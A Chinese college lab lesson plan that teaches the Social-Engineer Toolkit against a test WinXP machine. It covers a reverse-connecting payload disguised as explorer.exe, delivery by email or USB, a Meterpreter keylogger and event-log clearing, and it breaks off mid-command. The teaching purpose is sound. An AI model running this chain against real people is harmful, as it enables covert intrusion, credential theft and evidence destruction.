第18次课(实验9)使用SET实施攻击

1、湖南商务职业技术学院网络安全技术教案授课教师：谢立靖湖南商务职业技术学院教师授课课时计划课程章节及 主 题实验9 使用SET实施攻击授课老师签字教研室主任签字教学目的：1. 掌握利用SET实施攻击的方法教学重点：1. 攻击载荷的选择教学难点：1. 攻击载荷的选择教学方法：案例教学，讲授、演示、练习三者结合。授课班次14计网1授课日期2016.04.29授课地点S1-502教 学 过 程 及 内 容 提 要（第18次课）一、实验内容使用SET实施攻击实验指导一一、实训题目：使用SET实施攻击 二、实训目的：1.掌握社会工程学工具包的使用三、实训要求：1.启动社会工程学工具包，选择需要的攻击载荷；

2、2.传递攻击载荷给目标系统；3.收集目标系统数据；4.清除踪迹。五、实训步骤：1. 启动社会工程学工具包，应用程序->漏洞利用工具集->social engineering toolkit,或者在终端执行如下命令：rootkali:# setoolkit。（注：本实验运行环境为Kali linux 1.0.7）执行上述命令后，将输出如下所示的信息：- New set.config.py file generated on: 2016-05-02 18:08:36.594859- Verifying configuration update.* Update verified, co

3、nfig timestamp is: 2016-05-02 18:08:36.594859* SET is using the new config, no need to restartCopyright 2015, The Social-Engineer Toolkit (SET) by TrustedSec, LLCAll rights reserved.Redistribution and use in source and binary forms, with or without modification, are permitted provided that the follo

4、wing conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentatio

5、n and/or other materials provided with the distribution. * Neither the name of Social-Engineer Toolkit nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS

6、AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL

7、, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR

8、OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.The above licensing was taken from the BSD licensing and is applied to Social-Engineer Toolkit as well.Note that the Social-Engineer Toolkit is provided as is, and is a royalty free open-

9、source application.Feel free to modify, use, change, market, do whatever you want with it as long as you give the appropriate credit where credit is due (which means giving the authors the credit they deserve for writing it). Also note that by using this software, if you ever see the creator of SET

10、in a bar, you should give him a hug and buy him a beer. Hug must last at least 5 seconds. Author holds the right to refuse the hug (most likely will never happen) or the beer (also most likely will never happen).The Social-Engineer Toolkit is designed purely for good and not evil. If you are plannin

11、g on using this tool for malicious purposes that are not authorized by the company you are performing assessments for, you are violating the terms of service and license of this toolset. By hitting yes (only one time), you agree to the terms of service and that you will only use this tool for lawful

12、 purposes only.Do you agree to the terms of service y/n: 输出的信息详细的介绍了SET。该信息在第一次运行时才会显示。在该界面接受这部分信息后，才可进行其他操作。2在上述界面中输入y，显示如下所示信息：以上显示了社会工程学工具包的创建者、版本、代号及菜单信息。此时可以根据自己的需要，选择相应的编号进行操作。3.选择攻击社会工程学，在菜单中的编号为1，所以在set>后面输入1，将显示如下信息：以上信息显示了攻击社会工程学的菜单选项，这时就可以选择攻击工程学的类型，然后进行攻击。4.这里选择创建一个攻击载荷和监听器，输入编号4。输入本地

13、主机的IP地址192.168.1.108（即以当前Kali Linux的实际IP地址为准），如下所示：输出的信息显示了可生成的所有攻击载荷，此时根据自己的目标系统选择相应的攻击载荷。5.本例中攻击的目标系统为WinXP 32位，所以这里选择编号2，如下所示：6.这里选择第4种，输入编号4，如下所示：在接下来输出的信息显示了设置社会工程学的一个过程，在该过程中将指定的IP地址与端口进行了绑定，并且打开了一个handler。这里将IP地址与端口进行绑定，是因为一个主机上可能存在多个网卡，但是端口号是不变的。这样启动监听器后，攻击主机将等待被渗透攻击的系统来连接，并负责处理这些网络连接。接下来，完成

14、传递攻击载荷给目标系统，步骤如下：6.社会工程学工具默认安装在/usr/share/set下，在该目录中有一个exe文件，名为payload.exe。在渗透测试时为避免被目标主机用户发现，建议修改该文件名，然后再发送给其他人（通过邮件或U盘）。7.修改payload.exe文件名：mv payload.exe explorer.exe（在本实验中可以不改名，直接将payload.exe文件复制粘贴到winxp中）8.将该文件传递其他人。当该内容被目标系统中的用户打开后，将会与攻击者建立一个活跃的会话。现在，攻击者就可以在目标系统上做自己想要做的事。在WinXP系统中打开payload.exe。

15、回到Kali Linux界面。看到Meterpreter session 1 opened时表示kali linux与winxp已经建立了连接。接下来，便是收集目标系统数据。9.激活Meterpreter会话。执行命令如下所示：Msf exploit(handler)>sessions -i 110.开户键盘记录器。执行命令如下所示：Meterpreter>keyscan_start11.收集目标系统中的数据。回到Winxp中，打开记事本，随便输入一段字符，如下所示：执行命令如下所示：Meterpreter>keyscan_dump从输出的信息可以看到，目标系统（即winxp

16、系统中）通过键盘输入了fdsafsafsdfsadsa等字符。接下来，清除踪迹。12.激活meterpreter会话，执行如下命令：Msf exploit(handler)>sessions i 113.在metasploit中的irb命令可以清除踪迹。执行如下命令：Meterpreter>irb输出的信息中看到>>提示符时，表示成功运行了irb命令。14.清除所有日志，执行如下命令：>>log=client.sys.eventlog.open(system)>>log=client.sys.eventlog.open(security)>>